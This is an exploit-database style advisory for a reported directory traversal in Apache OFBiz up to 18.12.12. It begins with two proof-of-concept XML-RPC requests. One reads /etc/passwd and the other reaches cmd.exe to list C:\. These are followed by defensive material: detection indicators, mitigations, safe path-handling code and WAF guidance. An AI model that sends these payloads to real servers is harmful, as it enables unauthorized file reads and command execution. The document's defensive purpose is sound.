Apache OFBiz 18.12.12 - Directory Traversal
# Exploit Title: Apache OFBiz 18.12.12 - Directory Traversal
# Google Dork: N/A
# Date: 2024-05-16
# Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly)
# Vendor Homepage: https://ofbiz.apache.org/
## Software Link: https://ofbiz.apache.org/download.html
# Version: below <=18.12.12
# Tested on: Windows10
Poc.
1-
POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>example.createBlogPost</methodName>
<params>
<param>
<value><string>../../../../../../etc/passwd</string></value>
</param>
</params>
</methodCall>
OR
2-
POST /webtools/control/xmlrpc HTTP/1.1
Host: vulnerable-host.com
Content-Type: text/xml
<?xml version="1.0"?>
<methodCall>
<methodName>performCommand</methodName>
<params>
<param>
<value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value>
</param>
</params>
</methodCall> Apache OFBiz 18.12.12 — Directory Traversal via XML‑RPC (Overview)
Apache OFBiz installations up to and including version 18.12.12 have been reported to contain a directory traversal vulnerability exposed through the XML‑RPC/webtools endpoint. An attacker who can send crafted XML‑RPC requests to the affected endpoint may influence file paths or command parameters processed by the application, potentially allowing unauthorized access to files on the host or to invoke server-side functionality in unintended ways.
Why this matters
- Directory traversal can reveal sensitive files (configuration, credentials, system files) that compromise confidentiality.
- If user-supplied data reaches command execution APIs, it can escalate to remote code execution or privilege escalation.
- XML‑RPC endpoints are often exposed to integrate external services; this increases the attack surface when combined with insufficient input validation.
Affected versions and remediation summary
| Affected | Remediation |
|---|---|
| Apache OFBiz releases <= 18.12.12 (as reported) | Upgrade to a release that includes the vendor fix (any official release after 18.12.12 that contains the patch) or apply vendor-provided security patches. If upgrade is not immediately possible, apply mitigations listed below. |
Technical root cause (high level)
The root cause is insufficient validation and canonicalization of user-supplied values passed into file or command handling functionality exposed by XML‑RPC handlers. If user input is concatenated into file-system paths or command arguments without proper normalization, relative components can traverse outside the intended base directory and reach arbitrary locations.
Attack surface and likely affected handlers
- XML‑RPC endpoints that accept string parameters later used as filesystem paths or command arguments.
- Administrative webtools, content-management APIs or custom service calls that forward parameters directly into file I/O or OS command invocations.
- Deployments exposing /webtools/control/xmlrpc (or similar) to untrusted networks or the public Internet without filtering.
Detection and indicators of compromise
Monitor logs and traffic for anomalous XML payloads and filesystem access attempts. Key indicators include:
- XML‑RPC requests with parameters containing path traversal patterns or unusual path separators.
- Unexpected reads of /etc/passwd, configuration files, or Windows system files from the OFBiz process.
- Command outputs or error messages returned through web interfaces or logged in application logs shortly after XML‑RPC requests.
Suggested high-level detection checks (safe, non-exploitative):
- Search application access logs for XML body content that contains repeated parent-directory sequences or suspicious absolute paths.
- Set alerts when the OFBiz process opens files outside known application/data directories.
- Hunt for unusual invocation of server-side commands from web handlers or scripts.
Safe testing guidance
- Test only in an authorized, isolated environment (not production) and only with permission.
- Use logging and file-system monitors to observe how application code transforms inputs before attempting file operations.
- Prefer vendor-issued test cases or patches for validation rather than reproducing public exploit payloads.
Mitigations and hardening
Mitigation is best achieved via patching, but the following layered controls reduce risk until you can upgrade:
- Patch: upgrade Apache OFBiz to a version that includes the official fix from the project.
- Configuration: disable or restrict XML‑RPC endpoints if not required. Place them behind an authentication/authorization boundary.
- Network controls: restrict access using IP allowlists, web application firewalls (WAF) or network ACLs to trusted clients only.
- Least privilege: run OFBiz with an account that has minimal filesystem privileges and avoid running as root/Administrator.
- Input validation & canonicalization: ensure all user-supplied path-like inputs are canonicalized and constrained to an expected base directory before use.
- Audit logging & monitoring: log file access attempts and enable alerting for out-of-bound file reads or command invocations.
Example: secure path handling (Java - safe pattern)
// Pseudo-code illustrating safe canonicalization and directory confinement:
Path baseDir = Paths.get("/opt/ofbiz/data").toRealPath(); // trusted base directory
String userInput = getParameter("filePath"); // untrusted input
// Normalize and resolve user-supplied value
Path requested = baseDir.resolve(userInput).normalize();
if (!requested.startsWith(baseDir)) {
// reject: attempted directory traversal
throw new SecurityException("Invalid file path");
}
// Proceed with safe file access (read-only if possible)
try (InputStream in = Files.newInputStream(requested)) {
// handle file contents
}
Explanation: This code resolves the user-provided path against a fixed base directory, then normalizes the result. The check requested.startsWith(baseDir) ensures the final canonical path is located inside the allowed directory. Rejecting requests that do not pass this check prevents traversal outside the intended location. Prefer read-only access and minimal privileges when opening files.
Example: defensive approaches for command invocation
// Pseudo-code: avoid constructing shell commands from user input.
// Instead use parameterized APIs and explicit argument lists.
List command = new ArrayList();
command.add("/usr/bin/mytool"); // fixed binary
command.add("--mode");
command.add("safe"); // allowed fixed option
// Only add validated, whitelisted arguments
String candidate = getParameter("item");
if (!isAllowed(candidate)) {
throw new IllegalArgumentException("Invalid argument");
}
command.add(candidate);
ProcessBuilder pb = new ProcessBuilder(command);
pb.directory(new File("/var/empty")); // chroot-like confinement if appropriate
Process p = pb.start();
Explanation: Avoids shell interpolation by building an explicit argument list and validating any dynamic items against a whitelist. Running commands without a shell removes a class of injection vectors.
WAF and IDS rule guidance (non-exhaustive)
- Block or alert on XML requests containing path traversal markers or absolute filesystem indicators in parameters.
- Apply positive allowlists for permissible XML‑RPC method names and parameter formats; reject unexpected methods.
- Rate-limit and anomaly-detect calls to administrative endpoints to reduce exploitation windows.
Recommended remediation workflow
- Inventory deployments of Apache OFBiz and identify those exposing XML‑RPC or webtools endpoints.
- Apply vendor patches or upgrade to a non-vulnerable release as soon as possible.
- Temporarily restrict network access to the endpoints and enable additional logging.
- Implement or verify input canonicalization and confinement checks in code paths that handle external inputs used for file or command operations.
- Perform a controlled retest in an isolated environment to confirm fix effectiveness.
- Monitor for signs of exploitation and review logs for historical indicators.
Conclusion
Directory traversal vulnerabilities in XML‑RPC handlers can have serious consequences when they allow reading sensitive files or enabling unintended functionality. The most effective defense is to apply official fixes from the Apache OFBiz project and harden deployed instances with least privilege, input canonicalization, and network restrictions. Use careful, authorized testing and robust monitoring to detect and respond to any exploitation attempts.